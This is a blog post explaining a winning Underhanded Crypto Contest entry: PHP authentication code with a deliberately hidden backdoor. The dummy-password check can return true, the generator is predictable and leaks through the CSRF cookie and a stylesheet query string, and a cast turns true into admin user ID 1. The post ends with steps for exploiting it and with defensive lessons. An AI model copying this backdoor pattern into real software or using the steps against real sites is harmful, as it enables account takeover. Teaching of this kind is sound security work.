<!--
     Paragon Initiative Enterprises, LLC.

     URL: https://paragonie.com/b/0cXQ2OrtVQPyiX5Q
     Format: Markdown
     Created: 2016-01-03T23:23:44-05:00
     Modified: 2018-12-17T22:08:58-05:00
     Accessed: 2024-12-22T16:03:23-05:00
-->

In layman's terms, a backdoor is *usually* something a computer criminal leaves behind in your system after they've broken in the first time, to save them the trouble of breaking in the hard way in the future. 

However, backdoors can be also be an intentional security vulnerability inserted into software projects with the hopes that doing so will give the attacker access to your system. See also: [Juniper](http://blog.cryptographyengineering.com/2015/12/on-juniper-backdoor.html).

We're going to talk about the second type of backdoor. 

> There is some programming ahead, but if you can't read code just skip the code blocks and I'll explain what's going on afterwards.

# The Underhanded Crypto Contest

Starting in 2015, the Crypto & Privacy Village at the [DEFCON Hacking Conference](https://www.defcon.org/) is the home to the [Underhanded Crypto Contest](https://underhandedcrypto.com), a competition to discover and document the best ways to subtly subvert crypto code (and a cryptography focused spiritual successor to the [Underhanded C Contest](http://www.underhanded-c.org)). At DEFCON 23 there were two tracks to this contest:

1. Backdoor GnuPG.
2. Backdoor password authentication.

I submitted an entry into the second track (and won). I'm going to explain how my entry works, what tricks I employed to make it plausibly deniable, and some of its immediate implications on software development. 

# How We Designed Our Password Authentication Backdoor

Before I begin, let me say something to any government employees who find this blog post years from now and is considering hiring Paragon Initiative Enterprises to implement a backdoor (or "secure golden key" as they like to call it): **We're not interested.**

## Step One: Fabricate an Excellent Cover Story

Right before DEFCON 23, cryptographer Scott Contini posted a blog post about [user account enumeration via exploiting timing side-channels](https://littlemaninmyhead.wordpress.com/2015/07/26/account-enumeration-via-timing-attacks), which work like this:

1. You are attempting to log in to the web app with a username and password.
2. Is the username registered? If yes, continue. Otherwise, say "bad username/password".
3. Verify the password, which is probably [properly hashed with **bcrypt**](https://paragonie.com/blog/2015/08/you-wouldnt-base64-a-password-cryptography-decoded); otherwise say "bad username/password".
4. If step 3 proceeds, the user is authenticated.

Failing at step two will take measurably less time (from an attacker's perspective) than failing at step three. By doing so, an attacker can send a bunch of requests and figure out valid usernames, even if the rest of the application is secure.

Timing leaks are a back door gold mine. Most developers don't understand them, and most information security professionals are not programmers. Even if you write [obviously insecure cryptography-related code](http://www.openwall.com/lists/oss-security/2015/11/08/1), most developers will probably OK it because they don't know better. But the contest would have been boring if we did that.

So far, our master plan looks like this:

1. Propose a solution that pretends to solve the "account enumeration via timing attacks" vulnerability.
2. Hide a backdoor in our solution.
3. Make sure a casual review from an average developer wouldn't raise any red flags.

## Step Two: The Design Phase

The `TimingSafeAuth` class is reproduced here, in its entirety:

    <?php

    /**
     * A password_* wrapper that is proactively secure against user enumeration from
     * the timing difference between a valid user (which runs through the
     * password_verify() function) and an invalid user (which does not).
     */
    class TimingSafeAuth
    {
        private $db;
        public function __construct(\PDO $db)
        {
            $this->db = $db;
            $this->dummy_pw = password_hash(noise(), PASSWORD_DEFAULT);
        }

        /**
         * Authenticate a user without leaking valid usernames through timing
         * side-channels
         *
         * @param string $username
         * @param string $password
         * @return int|false
         */
        public function authenticate($username, $password)
        {
            $stmt = $this->db->prepare("SELECT * FROM users WHERE username = :username");
            if ($stmt->execute(['username' => $username])) {
                $row = $stmt->fetch(\PDO::FETCH_ASSOC);
                // Valid username
                if (password_verify($password, $row['password'])) {
                    return $row['userid'];
                }
                return false;
            } else {
                // Returns false
                return password_verify($password, $this->dummy_pw);
            }
        }
    }

When the `TimingSafeAuth` class is instantiated, it unavoidably creates a "dummy password", derived from a function called `noise()` (adapted from [AnchorCMS](https://github.com/anchorcms/anchor-cms/blob/4d46856a09a05d32f9c6df5254b0f4d478fbe84a/system/helpers.php#L49-L59), defined below):

    /**
     * Generate a random string with our specific charset, which conforms to the
     * RFC 4648 standard for BASE32 encoding.
     *
     * @return string
     */
    function noise()
    {
        return substr(
            str_shuffle(str_repeat('abcdefghijklmnopqrstuvwxyz234567', 16)),
            0,
            32
        );
    }

> Keep this `noise()` function in mind; it's a key piece of the backdoor.

After we have an instantiated `TimingSafeAuth` object available to whatever login script needs it, it will eventually pass a username and password to `TimingSafeAuth->authenticate()`, which will perform a database lookup then do one of two things:

1. If the username was found, validate the provided password with the bcrypt hash on file for the user (using `password_verify()`)
2. Otherwise, invoke `password_verify()` with the provided password and the dummy bcrypt hash.

Since `$this->dummy_pw` is the bcrypt hash of a randomly generated string, we can always expect option 2 to fail and return `false`, but it will always take about the same amount of time (thus hiding the timing side-channel), right?

### Vulnerabilities Hidden in Plain Sight

Okay, the biggest lie is hidden right here:

    // Returns false
    return password_verify($password, $this->dummy_pw);

This doesn't always return `false`. If an attacker somehow guessed the dummy password that went into `$this->dummy_pw`, this would return `true`! A correct implementation would be:

    password_verify($password, $this->dummy_pw);
    return false;

But let's say the auditor gives this the benefit of the doubt. "If the dummy password was hard-coded, this would be a concern, but it's randomly generated so it's totally safe, right?"

**NOPE!** `str_shuffle()` isn't a [cryptographically secure pseudorandom number generator](https://paragonie.com/blog/2015/07/how-safely-generate-random-strings-and-integers-in-php). To understand why it's not, you have to look at [how `str_shuffle()` is implemented in PHP](https://github.com/php/php-src/blob/71c19800258ee3a9548af9a5e64ab0a62d1b1d8e/ext/standard/string.c#L5440-L5463):

    static void php_string_shuffle(char *str, zend_long len) /* {{{ */
    {
        zend_long n_elems, rnd_idx, n_left;
        char temp;
        /* The implementation is stolen from array_data_shuffle       */
        /* Thus the characteristics of the randomization are the same */
        n_elems = len;

        if (n_elems <= 1) {
            return;
        }

        n_left = n_elems;

        while (--n_left) {
            rnd_idx = php_rand();
            RAND_RANGE(rnd_idx, 0, n_left, PHP_RAND_MAX);
            if (rnd_idx != n_left) {
                temp = str[n_left];
                str[n_left] = str[rnd_idx];
                str[rnd_idx] = temp;
            }
        }
    }

See the line that says `rnd_idx = php_rand();`? That's `rand()`, a [trivially crackable linear-congruent generator](https://jazzy.id.au/2010/09/21/cracking_random_number_generators_part_2.html). (See also: [this StackOverflow answer](https://stackoverflow.com/a/15494343/2224584).)

So, for a quick recap:

* If you guess the dummy password, the `TimingSafeAuth->authenticate()` method will return `true`
* The dummy password is generated by an insecure and predictable random number generator (taken from a real-world PHP project)
* Only developers intimately familiar with cryptography and PHP's internals would realize that this is dangerous

This is useful, but not quite exploitable. Let's gift-wrap our intentional vulnerability in the implementation phase.

## Step Three: Implementing the Backdoor

Our login form looks like this (comments preceded with a `#` were added by us in this post, and were not part of the contest entry):

    <?php
    # This is all just preamble stuff, ignore it.
    require_once dirname(__DIR__).'/autoload.php';
    $pdo = new \PDO('sqlite:'. dirname(__DIR__) . '/database.sql');
    session_start();

    # Start here
    if (!isset($_SESSION['userid'])) {
        # If you aren't currently logged in...
        if (!empty($_POST['csrf']) && !empty($_COOKIE['csrf'])) {
            # If you sent a CSRF token in the POST form data and a CSRF cookie
            if (hash_equals($_POST['csrf'], $_COOKIE['csrf'])) {
                # And they match (compared in constant time!), proceed
                $auth = new TimingSafeAuth($pdo);
                # Pass the given username and password to the authenticate() method.
                $userid = (int) $auth->authenticate($_POST['username'], $_POST['password']);
                # Take note of the type cast to (int).
                if ($userid) {
                    // Success!
                    $_SESSION['userid'] = $userid;
                    header("Location: /");
                    exit;
                }
            }
        }
        # This is the login form:
        require_once dirname(__DIR__).'/secret/login_form.php';
    } else {
        # This is where you want to be:
        require_once dirname(__DIR__).'/secret/login_successful.php';
    }

And now for the last code block (`login_form.php`, the code that generates the login form for an unauthenticated user):

    <?php
    if (!isset($_COOKIE['csrf'])) {
        # Remember this?
        $csrf = noise();
        setcookie('csrf', $csrf);
    } else {
        $csrf = $_COOKIE['csrf'];
    }
    ?>
    <!DOCTYPE html>
    <html>
    <head>
        <title>Log In</title>
        <!-- # Below: We leak rand(); but that's totally benign, right? -->
        <link rel="stylesheet" href="/style.css?<?=rand(); ?>" type="text/css" /><?php /* cache-busting random query string */ ?>
    </head>
    <body>
    <form method="post" action="/">
        <input type="hidden" name="csrf" value="<?=htmlentities($csrf, ENT_QUOTES | ENT_HTML5, 'UTF-8'); ?>" />
        <table>
            <tr>
                <td>
                    <fieldset>
                        <legend>Username</legend>
                        <input type="text" name="username" required="required" />
                    </fieldset>
                </td>
                <td>
                    <fieldset>
                        <legend>Password</legend>
                        <input type="password" name="password" required="required" />
                    </fieldset>
                </td>
            </tr>
            <tr>
                <td colsan="2">
                    <button type="submit">
                        Log In
                    </button>
                </td>
            </tr>
        </table>
    </form>
    </body>
    </html>

So, this does a lot of little things, outside of being a perfectly normal password form. It includes basic CSRF protection (generated, once again, by `noise()`). Each time you load the page without a cookie, it gives you the output of `noise()` as a new CSRF cookie.

While that alone should be sufficient to figure out the random number generator seed and predict the dummy password, we go ahead and leak a single `rand()` output in a query string for the stylesheet (while claiming its purpose is to to bust caches). Instead, the new CSRF cookie is useful for determining if the `noise()` prediction is successful without registering a failed authentication attempt (not that we're logging those in this code anyway).

See the line that reads `$userid = (int) $auth->authenticate($_POST['username'], $_POST['password']);`? This is the other piece of our backdoor. PHP will set `true` to `1` when you cast it to an integer. Lower user IDs, especially `1`, are typically associated with administrative accounts in web applications.

## The Exploit

Putting all of the above information together, exploiting this is actually rather straightforward:

1. Send a few benign requests to the login form, "forgetting" the CSRF cookie each time and taking note of the query string that follows `style.css` in the HTML.
2. When you can accurately predict the next CSRF cookie, don't forget it. Instead, supply it as the password for a randomly chosen username (sufficiently random that it's guaranteed to not be a valid user)
3. Enjoy being logged in as `userid` = `1`.

# What are the Implications of this Backdoor?

**Developers shouldn't be in such a rush to solve security problems they don't fully comprehend.** Although I crafted this as a contest entry for designing backdoored cryptosystems, every decision I made could plausibly have been made by a developer in a hurry to fix this security problem that a renowned cryptographer blogged about. (One of them was even taken, almost verbatim, from Anchor CMS.)

**Novel solutions to hard problems should be reviewed by an expert.** If we had never entered this contest, and someone had implemented this code in one of their projects then hired Paragon to audit their application, we would have spotted this immediately and wrote a patch to mitigate it. But we also specialize in application security, cryptography, and PHP development.

User enumeration is a very hard problem to solve. Even if `TimingSafeAuth` weren't backdoored, the database lookup almost certainly isn't [constant-time](https://cryptocoding.net/index.php/Coding_rules#Compare_secret_strings_in_constant_time), so there's still a timing leak. (As a rule: No optimized search operations are done in constant-time.)

User enumeration also might not even be a problem worth solving. In my personal opinion, making passwords more secure (or abstracting them away entirely, with something [SQRL](https://www.grc.com/sqrl/sqrl.htm) or TLS client certificates) is a more laudable goal. **Password managers help!**